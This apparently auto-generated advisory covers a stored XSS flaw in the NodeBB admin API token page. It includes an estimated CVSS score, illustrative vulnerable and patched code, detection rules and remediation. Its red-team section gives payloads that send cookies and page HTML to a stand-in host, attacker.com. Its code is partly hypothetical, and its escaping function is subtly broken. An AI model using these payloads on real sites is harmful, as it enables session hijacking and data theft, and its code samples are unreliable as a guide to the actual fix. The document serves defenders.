CVE-2025-29513

Executive Summary

CVE-2025-29513 is a stored Cross-Site Scripting (XSS) vulnerability identified in NodeBB versions 4.0.4 and earlier. The flaw resides in the admin API Access Token generator, allowing an authenticated attacker with administrative privileges to inject arbitrary JavaScript code. This stored payload executes in the context of other administrators' browsers when they view or manage API tokens, potentially leading to session hijacking, credential theft, or further compromise of the NodeBB instance.

Supply Chain & Package Security

NodeBB is a Node.js-based forum software distributed via npm. The vulnerability affects the core application logic, not a third-party package. However, administrators should verify the integrity of their NodeBB installation by checking package hashes and reviewing any custom plugins that may interact with the token generation API.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a full assessment. Based on the description, a reasonable vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): High (H) – requires admin access
• User Interaction (UI): Required (R) – victim must view the token page
• Scope (S): Changed (C) – impacts the admin interface
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): Low (L)

Estimated CVSS: 7.1 (High)

Deep Dive & Mechanics

The vulnerability exists in the admin API Access Token generation endpoint. When an administrator creates a new API token, the token name or description field is not properly sanitized before being stored and later rendered in the admin panel. An attacker with admin privileges can inject a payload such as:

<img src=x onerror=alert('XSS')>

When another administrator views the list of API tokens, the injected script executes in their browser session. This can be leveraged to steal session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data.

The root cause is insufficient output encoding in the template rendering engine used by NodeBB. The application fails to escape HTML entities in user-supplied fields before inserting them into the DOM.

Vulnerable vs. Patched Code

Vulnerable Code (NodeBB <= 4.0.4):

// In admin/controllers/tokens.js
function renderTokens(req, res) {
    const tokens = getTokens();
    res.render('admin/tokens', { tokens: tokens });
}

<!-- In admin/views/tokens.tpl -->
<ul>
    {{#each tokens}}
    <li>{{name}} - {{description}}</li>
    {{/each}}
</ul>

Patched Code (Hypothetical Fix):

// In admin/controllers/tokens.js
function renderTokens(req, res) {
    const tokens = getTokens().map(token => ({
        ...token,
        name: escapeHtml(token.name),
        description: escapeHtml(token.description)
    }));
    res.render('admin/tokens', { tokens: tokens });
}

function escapeHtml(str) {
    return str.replace(/&/g, '&')
              .replace(/</g, '&lt;')
              .replace(/>/g, '&gt;')
              .replace(/"/g, '&quot;')
              .replace(/'/g, '&#039;');
}

Exploitation & Lab Setup

Red Team

1. Prerequisites: Administrative access to a NodeBB instance (version <= 4.0.4).

2. Steps:

   • Log in as an admin.
   • Navigate to Admin Panel > Settings > API Access.
   • Click "Generate New Token".
   • In the "Token Name" field, enter: <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
   • Save the token.
   • When another admin views the token list, the payload executes.

3. Advanced Payload: Use a script to exfiltrate data silently:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://attacker.com/exfil?data=' + btoa(document.body.innerHTML), true);
xhr.send();

Blue Team

1. Detection: Monitor for unusual API token creation events with suspicious characters in the name or description fields.
2. Hunting: Search logs for patterns like <script, onerror, onload, or base64-encoded strings in token creation requests.
3. Response: Immediately revoke any tokens containing HTML/JavaScript. Review admin activity logs for unauthorized token generation.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the NodeBB server.
• File: Modified or newly created API tokens in the database with HTML/JavaScript content.
• Log: Admin panel access logs showing creation of tokens with suspicious names.
• Process: Unexpected child processes spawned by the Node.js application (e.g., curl, wget).

Detection Engineering

YARA Rule

rule NodeBB_XSS_Token_Injection {
    meta:
        description = "Detects stored XSS payloads in NodeBB API token fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29513"
    strings:
        $xss1 = /<[^>]*onerror\s*=[^>]*>/i
        $xss2 = /<[^>]*onload\s*=[^>]*>/i
        $xss3 = /<script[^>]*>/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: NodeBB Stored XSS via API Token
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of API tokens with XSS payloads in NodeBB
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: nodebb
detection:
    selection:
        event: "api.token.create"
        token_name|contains:
            - "<script"
            - "onerror"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in token names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"NodeBB Stored XSS Payload Exfiltration"; flow:to_server,established; content:"/api/v3/admin/tokens"; http_uri; content:"name"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Restrict API token creation to only trusted administrators. Review and revoke any existing tokens with suspicious names.
2. Short-term: Apply input validation and output encoding to all user-supplied fields in the admin panel. Use a templating engine that auto-escapes HTML (e.g., Handlebars with {{name}} instead of {{{name}}}).
3. Long-term: Upgrade to a patched version of NodeBB once available. Implement Content Security Policy (CSP) headers to mitigate XSS impact.
4. Monitoring: Enable audit logging for all admin actions. Set up alerts for token creation events.

Report generated by Valters IT DevSecOps Framework